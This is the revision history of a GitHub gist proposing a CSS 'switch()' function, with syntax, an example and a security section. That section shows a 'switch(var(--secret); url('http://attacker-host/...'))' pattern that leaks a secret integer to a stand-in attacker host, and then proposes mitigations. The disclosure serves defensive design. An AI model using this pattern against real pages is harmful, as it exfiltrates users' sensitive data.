Skip to content

Instantly share code, notes, and snippets.

@carlosame
Last active March 20, 2021 15:32
Show Gist options
  • Save carlosame/dcadf67b33d8a8b25eece17668fa057f to your computer and use it in GitHub Desktop.
Save carlosame/dcadf67b33d8a8b25eece17668fa057f to your computer and use it in GitHub Desktop.

Revisions

  1. carlosame revised this gist Mar 20, 2021. 1 changed file with 7 additions and 3 deletions.
    10 changes: 7 additions & 3 deletions css-switch-like-function.md
    Original file line number Diff line number Diff line change
    @@ -117,12 +117,16 @@ Attribute selectors could be used for the attack, but if the attribute value is
    could be enabled with the function discussed here:

    ```css
    switch(var(--secret); url('http://attacker-host/value-is-1'); url('http://attacker-host/value-is-2'); url('http://attacker-host/value-is-3'), ...)
    switch(var(--secret); url('http://attacker-host/value-is-1');
    url('http://attacker-host/value-is-2');
    url('http://attacker-host/value-is-3');
    ...)
    ```
    which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be
    mitigated by setting a limit of `url()` arguments in the following way:
    mitigated by setting a limit of `url()` arguments, for example:

    1) If the property accepts `url()` values and the _switch_ resolves to a URL, resolve all the other arguments and increase a (per-document) counter of _url-in-a-switch_ values.
    1) If the property accepts `url()` values and the _switch_ resolves to a URL (or includes one), increase a (per-document)
    counter of _url-in-a-switch_ values with the number of value arguments (assuming all are URLs).
    2) If a certain amount of _url-in-a-switch_ values is reached in the document (like 512), the function becomes invalid.

    When the property automatically converts a string to a `url()`, the same handling would be required for strings.
  2. carlosame revised this gist Mar 20, 2021. 1 changed file with 21 additions and 7 deletions.
    28 changes: 21 additions & 7 deletions css-switch-like-function.md
    Original file line number Diff line number Diff line change
    @@ -12,6 +12,7 @@ case, and may want to have that choice.
    Additionally, there are also situations where an author may want to scale certain values in terms of a given calculation, or
    have a simple mechanism to conditionally activate values belonging to a specific 'skin' or profile.

    <br/>

    ## A switch-like function

    @@ -30,6 +31,7 @@ If the first argument evaluates to _N_ and there are _M_ toggle-values, with _M_
    The toggle-values could also contain `var()` functions, if the switch is resolved before the _vars_ are substituted/evaluated
    (allowing the contained commas to pass through the _switch_).

    <br/>

    ## Switching between values that contain commas

    @@ -43,6 +45,7 @@ switch(<integer [1,∞]> [; <declaration-value>]{1,})
    where the [`<declaration-value>`](https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value) would be the one defined by
    CSS Syntax Module Level 3.

    <br/>

    ## Clamping considerations

    @@ -53,6 +56,7 @@ wants. And when authors want to clamp, they can do that explicitly with the `cla
    When the negative value comes from a `calc()` expression, triggering invalidation seems potentially useful but collides with
    the general principle that values coming from `calc()` are clamped to the expected range.

    <br/>

    ## Example
    The following example illustrates one possible (very basic and easy, not necessarily representative) usage of the function:
    @@ -92,6 +96,15 @@ In the above example, the "target" for the web site would be a normal desktop wi
    many _switch_ locations he/she may be fine with the latest specified value (hence one of the above switches has two
    _declaration-value_ arguments while the others have three).

    ### Comparison conditions

    Once the `sign()` function is implemented by browsers, it could be used to enable value comparisons:
    ```css
    switch(2 + sign(var(--some-length) - 10vw); "Less than 10vw"; "Exactly 10vw"; "More than 10vw")
    ```
    Even more comparisons could be taken into account, by using the proper combination of sums and multiplications.

    <br/>

    ## Security considerations

    @@ -104,18 +117,18 @@ Attribute selectors could be used for the attack, but if the attribute value is
    could be enabled with the function discussed here:

    ```css
    switch(var(--secret); url('http://attacker-host/value-is-1');
    url('http://attacker-host/value-is-2');
    url('http://attacker-host/value-is-3');
    ...)
    switch(var(--secret); url('http://attacker-host/value-is-1'); url('http://attacker-host/value-is-2'); url('http://attacker-host/value-is-3'), ...)
    ```
    which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be
    mitigated by setting a limit of `url()` arguments, for example:
    mitigated by setting a limit of `url()` arguments in the following way:

    1) If the property accepts `url()` values and the _switch_ resolves to a URL (or includes one), increase a (per-document) counter of _url-in-a-switch_ values with the number of value arguments (assuming all are URLs).
    1) If the property accepts `url()` values and the _switch_ resolves to a URL, resolve all the other arguments and increase a (per-document) counter of _url-in-a-switch_ values.
    2) If a certain amount of _url-in-a-switch_ values is reached in the document (like 512), the function becomes invalid.

    When the property automatically converts a string to a `url()`, a similar handling would be required for strings.
    When the property automatically converts a string to a `url()`, the same handling would be required for strings.

    _Note that this mitigation is likely to become insufficient, once the CSS stepped value functions (e.g. `mod()`) are implemented
    by browsers._

    There are other attack variants that could be used for data exfiltration, but they do not require nor would obviously benefit
    from the function described here. If you are aware of any attack that could be enabled by the usage of this function, posting a
    @@ -124,6 +137,7 @@ comment would be appreciated.
    As far as I know, [this comment by Mike Bremford](https://github.com/w3c/csswg-drafts/issues/5136#issuecomment-637387091) was
    the first one to relate _switch_-like functions with attribute value exfiltration.

    <br/>

    ## Naming

  3. carlosame revised this gist Mar 16, 2021. No changes.
  4. carlosame revised this gist Mar 14, 2021. 1 changed file with 7 additions and 4 deletions.
    11 changes: 7 additions & 4 deletions css-switch-like-function.md
    Original file line number Diff line number Diff line change
    @@ -104,15 +104,18 @@ Attribute selectors could be used for the attack, but if the attribute value is
    could be enabled with the function discussed here:

    ```css
    switch(var(--secret); url('http://attacker-host/value-is-1'); url('http://attacker-host/value-is-2'); url('http://attacker-host/value-is-3'), ...)
    switch(var(--secret); url('http://attacker-host/value-is-1');
    url('http://attacker-host/value-is-2');
    url('http://attacker-host/value-is-3');
    ...)
    ```
    which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be
    mitigated by setting a limit of `url()` arguments in the following way:
    mitigated by setting a limit of `url()` arguments, for example:

    1) If the property accepts `url()` values and the _switch_ resolves to a URL, resolve all the other arguments and increase a (per-document) counter of _url-in-a-switch_ values.
    1) If the property accepts `url()` values and the _switch_ resolves to a URL (or includes one), increase a (per-document) counter of _url-in-a-switch_ values with the number of value arguments (assuming all are URLs).
    2) If a certain amount of _url-in-a-switch_ values is reached in the document (like 512), the function becomes invalid.

    When the property automatically converts a string to a `url()`, the same handling would be required for strings.
    When the property automatically converts a string to a `url()`, a similar handling would be required for strings.

    There are other attack variants that could be used for data exfiltration, but they do not require nor would obviously benefit
    from the function described here. If you are aware of any attack that could be enabled by the usage of this function, posting a
  5. carlosame created this gist Mar 13, 2021.
    133 changes: 133 additions & 0 deletions css-switch-like-function.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,133 @@
    # A switch-like function for CSS


    ## Rationale

    In CSS, `@media` rules are useful but may lead to some unwanted verbosity and maintenance issues. Although `var()` values are
    of help, one often has to either duplicate some rule structure or proliferate custom properties that are intended to be used at
    specific places. That's what [CSSWG's issue 5009](https://github.com/w3c/csswg-drafts/issues/5009) is about.

    Due to that, sometimes authors would prefer to specify values at the place where they are going to be used in the most common
    case, and may want to have that choice.
    Additionally, there are also situations where an author may want to scale certain values in terms of a given calculation, or
    have a simple mechanism to conditionally activate values belonging to a specific 'skin' or profile.


    ## A switch-like function

    I proposed the following function [as one possible solution to the above issue and use cases](https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-620766100):
    ```css
    switch(<integer [1,]>, <toggle-value>#)
    ```
    to evaluate in the following way:

    - If the first argument is not positive, the value becomes invalid (it could be defined to start from zero as well).
    - The other arguments (I chose the [toggle-value](https://www.w3.org/TR/css-values-4/#typedef-toggle-value) from the `toggle()`
    function) are selected according to the first one: `1` means the first `<toggle-value>` is returned, `2` the second, etc.

    If the first argument evaluates to _N_ and there are _M_ toggle-values, with _M_<_N_, then the last `<toggle-value>` is used.

    The toggle-values could also contain `var()` functions, if the switch is resolved before the _vars_ are substituted/evaluated
    (allowing the contained commas to pass through the _switch_).


    ## Switching between values that contain commas

    I assume that authors want values with commas to pass through the switch (as opposed to being part of it), and that is why the
    switch is specified above to resolve before the _vars_ are substituted. Tab Atkins
    [suggested a syntax with semicolon separators](https://github.com/w3c/csswg-drafts/issues/5009#issuecomment-621302300) that
    could be clearer about the intent:
    ```css
    switch(<integer [1,]> [; <declaration-value>]{1,})
    ```
    where the [`<declaration-value>`](https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value) would be the one defined by
    CSS Syntax Module Level 3.


    ## Clamping considerations

    When the first argument is negative (or zero), the whole function becomes invalid instead of just clamping to `1`.
    The reason is that the first argument is intended to be a natural number, so negative values are unlikely to be what the author
    wants. And when authors want to clamp, they can do that explicitly with the `clamp()` function.

    When the negative value comes from a `calc()` expression, triggering invalidation seems potentially useful but collides with
    the general principle that values coming from `calc()` are clamped to the expected range.


    ## Example
    The following example illustrates one possible (very basic and easy, not necessarily representative) usage of the function:
    ```css
    html {
    --width-level: 1;
    --color-level: 1;
    }

    @media (max-width: 700px) {
    --width-level: 2;
    }

    @media (max-width: 360px) {
    --width-level: 3;
    }

    @media (color-gamut: p3) {
    --color-level: 2;
    }

    @media (color-gamut: rec2020) {
    --color-level: 3;
    }

    .foo{
    margin: switch(var(--width-level); 50px 25px; 25px 12.5px; 12.5px);
    font-size: switch(var(--width-level); 24px; 20px);
    background-color: switch(var(--color-level); #35a8ff; lch(66% 65 259); lch(66% 70 259));
    }
    ```
    I expect authors to use lower index/level values for their baseline or "canonical" case, and higher numbers for the
    more "corner" cases. Otherwise, they could be repeating values unnecessarily at their switches.

    In the above example, the "target" for the web site would be a normal desktop with sRGB color support, and then smaller screens
    (as well as wider-gamut displays) are progressive corner cases that the author may need to deal with at some places, but at
    many _switch_ locations he/she may be fine with the latest specified value (hence one of the above switches has two
    _declaration-value_ arguments while the others have three).


    ## Security considerations

    Latest CSS specifications introduce powerful tools, but some may be used to exfiltrate confidential information. The proposed
    [advanced `attr()` value](https://www.w3.org/TR/css-values-4/#funcdef-attr) may be used to access sensitive data (see
    [CSSWG issue 5092](https://github.com/w3c/csswg-drafts/issues/5092)), and other CSS facilities may be used to leak that
    information.

    Attribute selectors could be used for the attack, but if the attribute value is an integer (like a PIN number) a similar scheme
    could be enabled with the function discussed here:

    ```css
    switch(var(--secret); url('http://attacker-host/value-is-1'); url('http://attacker-host/value-is-2'); url('http://attacker-host/value-is-3'), ...)
    ```
    which would not be fundamentally different from the aforementioned attack based on selectors, although in this case it could be
    mitigated by setting a limit of `url()` arguments in the following way:

    1) If the property accepts `url()` values and the _switch_ resolves to a URL, resolve all the other arguments and increase a (per-document) counter of _url-in-a-switch_ values.
    2) If a certain amount of _url-in-a-switch_ values is reached in the document (like 512), the function becomes invalid.

    When the property automatically converts a string to a `url()`, the same handling would be required for strings.

    There are other attack variants that could be used for data exfiltration, but they do not require nor would obviously benefit
    from the function described here. If you are aware of any attack that could be enabled by the usage of this function, posting a
    comment would be appreciated.

    As far as I know, [this comment by Mike Bremford](https://github.com/w3c/csswg-drafts/issues/5136#issuecomment-637387091) was
    the first one to relate _switch_-like functions with attribute value exfiltration.


    ## Naming

    The _switch_ name is used in similar conditional statements implemented by several computer languages, being presumably a
    reference to the multi-position switches that used to be common in electronic equipment in the past (albeit much less common
    today). Other programming languages use different names for their _switch_-like statements: `cond` or `select` have been used
    as well.

    The function described here could have a different name (and could be implemented by browsers with any other name), but I'm
    using _switch_ as being somewhat descriptive of what it does.